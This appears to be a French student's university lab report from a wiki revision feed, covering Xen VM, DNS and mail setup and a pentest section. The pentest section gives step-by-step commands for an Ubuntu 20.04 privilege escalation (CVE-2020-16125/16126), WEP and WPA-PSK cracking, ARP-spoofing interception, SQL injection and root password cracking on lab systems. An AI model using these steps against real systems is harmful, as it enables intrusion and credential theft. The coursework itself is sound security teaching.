  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:13&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Disk device(s)&amp;quot;, partie &amp;quot;disk&amp;quot;, on ajoute les lignes suivantes : &lt;br /&gt;
 phy:/dev/storage/piedbleu-home,xvda3,w',&lt;br /&gt;
 phy:/dev/storage/piedbleu-var,xvda4,w',&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Networking&amp;quot;, on ajoute : &lt;br /&gt;
 bridge=IMA5sc&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance la VM : &lt;br /&gt;
 xl create -c /etc/xen/piedbleu.cfg&lt;br /&gt;
Par la suite, pour accéder à la VM, on fera : &lt;br /&gt;
 xl console piedbleu&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on formate xvda3, xvda4 en ext 4 : &lt;br /&gt;
 mkfs.ext4 /dev/xvda3&lt;br /&gt;
 mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
On modifie le fstab en ajoutant : &lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Et après on les monte :  &lt;br /&gt;
 mount -a &lt;br /&gt;
puis on fait un lsblk pour vérifier.&lt;br /&gt;
&lt;br /&gt;
On obtient :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Lsblk-g8-2021.png|480px]]&lt;br /&gt;
&lt;br /&gt;
=4. Services Internet=&lt;br /&gt;
==4.0 Accès à Internet==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on configure le fichier /etc/network/interfaces : &lt;br /&gt;
&lt;br /&gt;
 # The loopback network interface&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
  address 193.48.57.181&lt;br /&gt;
  netmask 255.255.255.255&lt;br /&gt;
  up ip address add dev eth0 100.64.0.21/24 &lt;br /&gt;
  up ip route add default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
  down ip address del dev eth0 100.64.0.21/24 &lt;br /&gt;
  down ip route del default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, ssh sur la zabeth09, puis minicom : &lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
 conf t&lt;br /&gt;
 ip route 193.48.57.181 255.255.255.255 100.64.0.21&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On fait un ping pour tester : &lt;br /&gt;
&lt;br /&gt;
 $  ping google.fr&lt;br /&gt;
&lt;br /&gt;
==4.1  Serveur SSH==&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config.&lt;br /&gt;
Ensuite on active le serveur ssh : &lt;br /&gt;
&lt;br /&gt;
 $ service ssh start&lt;br /&gt;
&lt;br /&gt;
Puis sur un autre terminal, on fait un : &lt;br /&gt;
&lt;br /&gt;
 $ ssh root@193.48.57.181&lt;br /&gt;
&lt;br /&gt;
==4.2  Serveur DNS==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante : &lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Glue Records&lt;br /&gt;
       ns1.piedbleu.site&lt;br /&gt;
       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       1er  : ns1.piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré noter nom de domaine, nous configurons notre serveur DNS sur notre VM.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par installer le paquet bind:&lt;br /&gt;
&lt;br /&gt;
 apt install bind9&lt;br /&gt;
&lt;br /&gt;
Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:&lt;br /&gt;
&lt;br /&gt;
1ère étape: &lt;br /&gt;
&lt;br /&gt;
Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
 name serveur 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine.&lt;br /&gt;
&lt;br /&gt;
2ème étape:&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous créons une zone &amp;quot;piedbleu.site&amp;quot; qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire ( ns6.gandi.net, ip:217.70.177.40;).&lt;br /&gt;
&lt;br /&gt;
3ème partie:&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zobe &amp;quot;piedbleu.site&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.piedbleu.site. root.piedbleu.site. (&lt;br /&gt;
                               3         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                            86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire                          &lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.piedbleu.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.&lt;br /&gt;
Nous ajoutons ensuite nos deux NS ( ns1.piedbleu.site et ns6.gandi.net ) ainsi que l'adresse du premier NS : 193.48.57.181.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 host -t any piedbleu.site&lt;br /&gt;
&lt;br /&gt;
résultat :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:reponse.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
A présent, nous pouvons configurer le serveur de nom secondaire : &lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       2ème : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant configurer le serveur mail de notre VM:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:&lt;br /&gt;
&lt;br /&gt;
 @       IN      MX      100 ns1.piedbleu.site.&lt;br /&gt;
&lt;br /&gt;
Nous installons ensuite postfix ( configuration : &amp;quot;Internet Site&amp;quot;, nom du site &amp;quot; piedbleu.site&amp;quot; ).&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons ensuite l'alias dans le fichier /etc/aliases&lt;br /&gt;
&lt;br /&gt;
 admin:root&lt;br /&gt;
&lt;br /&gt;
et nous effectuons la commande : &lt;br /&gt;
&lt;br /&gt;
 newaliases&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant envoyer des mails à l'adresse &amp;quot;admin@piedbleu.site&amp;quot;. Ces mails sont visibles lorsque l'on tape la commande :&lt;br /&gt;
 &lt;br /&gt;
 mailx&lt;br /&gt;
&lt;br /&gt;
=5. Tests d’intrusion=&lt;br /&gt;
&lt;br /&gt;
==5.1  Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==&lt;br /&gt;
&lt;br /&gt;
Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en  &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt; '''exclusivité dans le département IMA''' &amp;lt;/span&amp;gt; l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai apperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur la machine Linux : &lt;br /&gt;
&lt;br /&gt;
1) J'installe Ubuntu 20.04 dans une VM.&lt;br /&gt;
&lt;br /&gt;
2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...&lt;br /&gt;
&lt;br /&gt;
 $ sudo adduser u1&lt;br /&gt;
 $ su u1&lt;br /&gt;
 $ id&lt;br /&gt;
 uid=1001(u1) gid=1001(u1) groupes=1001(u1)&lt;br /&gt;
&lt;br /&gt;
3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant : &lt;br /&gt;
&lt;br /&gt;
 $ ln -s /dev/zero ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Puis on va dans Settings &amp;gt; Region and Language &amp;gt; Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande : &lt;br /&gt;
&lt;br /&gt;
 $ top&lt;br /&gt;
&lt;br /&gt;
On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.&lt;br /&gt;
&lt;br /&gt;
 $ kill -SIGSTOP 1098&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.&lt;br /&gt;
&lt;br /&gt;
 $ rm ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière plan après 10 secondes. &lt;br /&gt;
 &lt;br /&gt;
 $ nohup bash -c &amp;quot;sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On se déconnecte de notre session.&lt;br /&gt;
&lt;br /&gt;
Le menu &amp;quot;Welcome&amp;quot; de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comtpes). Un nouvel utilisateur apparaît sur la machine ! &lt;br /&gt;
&lt;br /&gt;
 $ whoami&lt;br /&gt;
 pwn&lt;br /&gt;
 $ id&lt;br /&gt;
 uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Explication : '''&lt;br /&gt;
&lt;br /&gt;
En changeant la langue dans &amp;quot;Region and Language&amp;quot;, le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.&lt;br /&gt;
&lt;br /&gt;
La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple... &lt;br /&gt;
&lt;br /&gt;
Ensuite, on se déconnecte de notre session en lançant en arrière plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv-&amp;gt;have_existing_user_accounts, qui est : &amp;quot;false&amp;quot;. Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Note 1 : ''' La faille semble avoir été rapidement patchée.&lt;br /&gt;
&lt;br /&gt;
'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège : &lt;br /&gt;
&lt;br /&gt;
accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)&lt;br /&gt;
&lt;br /&gt;
gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)&lt;br /&gt;
&lt;br /&gt;
'''Version du noyau et des parquets : '''&lt;br /&gt;
 Ubuntu 20.04.1 LTS, kernel 5.6&lt;br /&gt;
 gdm3, version 3.36.3-0ubuntu0.20.04.1&lt;br /&gt;
 accountsservice, version 0.6.55-0ubuntu12~20.04.1&lt;br /&gt;
&lt;br /&gt;
''' Source : ''' &lt;br /&gt;
&lt;br /&gt;
''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020&lt;br /&gt;
&lt;br /&gt;
https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE&lt;br /&gt;
&lt;br /&gt;
==5.2  Cassage de clef WEP d’un point d’accès WiFi==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d’abord par installer le paquet aircrack :&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install aircrack-ng&lt;br /&gt;
&lt;br /&gt;
À partir de là, nous listons la liste des interfaces wifi disponibles :  (pour repérer le nom du réseau sans fil correspondant à notre binôme) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[Fichier:screen1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On remarque que notre carte wifi est désignée par le nom wlp1s0mon qui correspond à l’interface.&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peux ensuite lancer le scan des réseaux wifi environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wep wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On repère le point d’accès qui correspond au réseau wifi qui nous intéresse ( cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.&lt;br /&gt;
&lt;br /&gt;
On capture ensuite les paquets émis par le point  d’accès cible :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen3.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collecté. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -z mon_fichier-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen4.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On voit que le programme a réussi à trouver la clé ( message « Key Found »).&lt;br /&gt;
&lt;br /&gt;
==5.3  Cassage de mot de passe WPA-PSK par force brute==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).&lt;br /&gt;
&lt;br /&gt;
On lance ensuite le scan des réseaux wifi WPA PSK environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wpa-psk wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:scankracotte.png || 600px]]&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH ( le mode d'authentification), ainsi que l'ESSID ( le nom du routeur ). &lt;br /&gt;
&lt;br /&gt;
Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Handshake1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par bruteforce. Pour cela, nous générerons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre. &lt;br /&gt;
&lt;br /&gt;
Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons au préalable installée):&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 -o 12345678 &amp;gt; motdepasse.txt&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous effectuons l'attaque par bruteforce avec la commande suivante : &lt;br /&gt;
&lt;br /&gt;
 $ aircrak-ng -a2 -b 00:14:1B:60:8C:27 -w motdepasse.txt *.cap&lt;br /&gt;
&lt;br /&gt;
Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:WPA-5.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==5.4  Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on install dsniff sur l'eepc. Ensuite on le transforme en routeur : &lt;br /&gt;
&lt;br /&gt;
 apt install dsniff&lt;br /&gt;
 export PATH=/sbin:/usr/sbin:$PATH&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur : &lt;br /&gt;
&lt;br /&gt;
 arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).&lt;br /&gt;
&lt;br /&gt;
En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Mitm-pra.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==5.5  Intrusion sur un serveur d’application Web==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL : &lt;br /&gt;
&lt;br /&gt;
 ' OR 1 = 1 --&lt;br /&gt;
&lt;br /&gt;
D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter (ou juste utiliser...).&lt;br /&gt;
&lt;br /&gt;
 nmap -T4 -A honey.plil.info&lt;br /&gt;
&lt;br /&gt;
On obtient : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap-g8-2021 1.2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.&lt;br /&gt;
&lt;br /&gt;
De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.&lt;br /&gt;
&lt;br /&gt;
De retour sur la 1ere page, on se connecte sur honey.plil.info avec les ids récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.&lt;br /&gt;
&lt;br /&gt;
On utilise cette découverte pour se connecter sur le serveur en SSH.&lt;br /&gt;
&lt;br /&gt;
Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.&lt;br /&gt;
&lt;br /&gt;
Pour avoir son mot de passe, on réalise une attaque par brute force avec dictionnaire.&lt;br /&gt;
&lt;br /&gt;
Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.&lt;br /&gt;
&lt;br /&gt;
Quelques temps plus tard... John nous donne le mot de passe root !&lt;br /&gt;
&lt;br /&gt;
Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe &amp;quot;I was here&amp;quot; : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Hack-honey.png|600px]]&lt;br /&gt;
&lt;br /&gt;
=6. Réalisations=&lt;br /&gt;
&lt;br /&gt;
== 6.1  Sécurisation de données : RAID 5 logiciel==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on crée 3 partitions vituelles : &lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n piedbleu-raid1 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM.&lt;br /&gt;
&lt;br /&gt;
Dans notre VM, on lance les commandes : &lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7&lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
 mkfs.ext4 /dev/md0&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 nano /etc/fstab&lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.&lt;br /&gt;
&lt;br /&gt;
==6.2  Chiffrement de données==&lt;br /&gt;
&lt;br /&gt;
Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
 $ fdisk -l # on répère la clé USB&lt;br /&gt;
 $ fdisk /dev/sdb # on formate la clé en une seule partition&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4&lt;br /&gt;
&lt;br /&gt;
Ensuite, on monte la clé USB, et on la peuple : &lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/USB &lt;br /&gt;
 $ mount -t ext4 /dev/mapper/myusbkey /mnt/USB&lt;br /&gt;
 $ touch /mnt/USB/mytestfile.txt&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on a fini, on démonte le système de fichier proprement : &lt;br /&gt;
&lt;br /&gt;
 $ umount /mnt/USB&lt;br /&gt;
 $ cryptsetup luksClose myusbkey&lt;br /&gt;
&lt;br /&gt;
== 6.4  Sécurisation WiFi par WPA2-EAP ==&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=53877</id>
		<title>TP sysres IMA5sc 2020/2021 G8</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=53877"/>
				<updated>2020-11-17T22:55:16Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : /* 5.3  Cassage de mot de passe WPA-PSK par force brute */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=2. Installation de la machine virtuelle Xen=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on fait un SSH sur capbreton.&lt;br /&gt;
&lt;br /&gt;
Puis création de la machine virtuelle :  &lt;br /&gt;
 xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force&lt;br /&gt;
&lt;br /&gt;
On renomme les LVM avec lv rename : &lt;br /&gt;
&lt;br /&gt;
 lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home&lt;br /&gt;
 lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var&lt;br /&gt;
&lt;br /&gt;
On obtient (lvdispaly) : &lt;br /&gt;
&lt;br /&gt;
 --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-home&lt;br /&gt;
  LV Name                piedbleu-home&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:12&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-var&lt;br /&gt;
  LV Name                piedbleu-var&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:13&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Disk device(s)&amp;quot;, partie &amp;quot;disk&amp;quot;, on ajoute les lignes suivantes : &lt;br /&gt;
 phy:/dev/storage/piedbleu-home,xvda3,w',&lt;br /&gt;
 phy:/dev/storage/piedbleu-var,xvda4,w',&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Networking&amp;quot;, on ajoute : &lt;br /&gt;
 bridge=IMA5sc&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance la VM : &lt;br /&gt;
 xl create -c /etc/xen/piedbleu.cfg&lt;br /&gt;
Par la suite, pour accéder à la VM, on fera : &lt;br /&gt;
 xl console piedbleu&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on formate xvda3, xvda4 en ext 4 : &lt;br /&gt;
 mkfs.ext4 /dev/xvda3&lt;br /&gt;
 mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
On modifie le fstab en ajoutant : &lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Et après on les monte :  &lt;br /&gt;
 mount -a &lt;br /&gt;
puis on fait un lsblk pour vérifier.&lt;br /&gt;
&lt;br /&gt;
On obtient :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Lsblk-g8-2021.png|480px]]&lt;br /&gt;
&lt;br /&gt;
=4. Services Internet=&lt;br /&gt;
==4.0 Accès à Internet==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on configure le fichier /etc/network/interfaces : &lt;br /&gt;
&lt;br /&gt;
 # The loopback network interface&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
  address 193.48.57.181&lt;br /&gt;
  netmask 255.255.255.255&lt;br /&gt;
  up ip address add dev eth0 100.64.0.21/24 &lt;br /&gt;
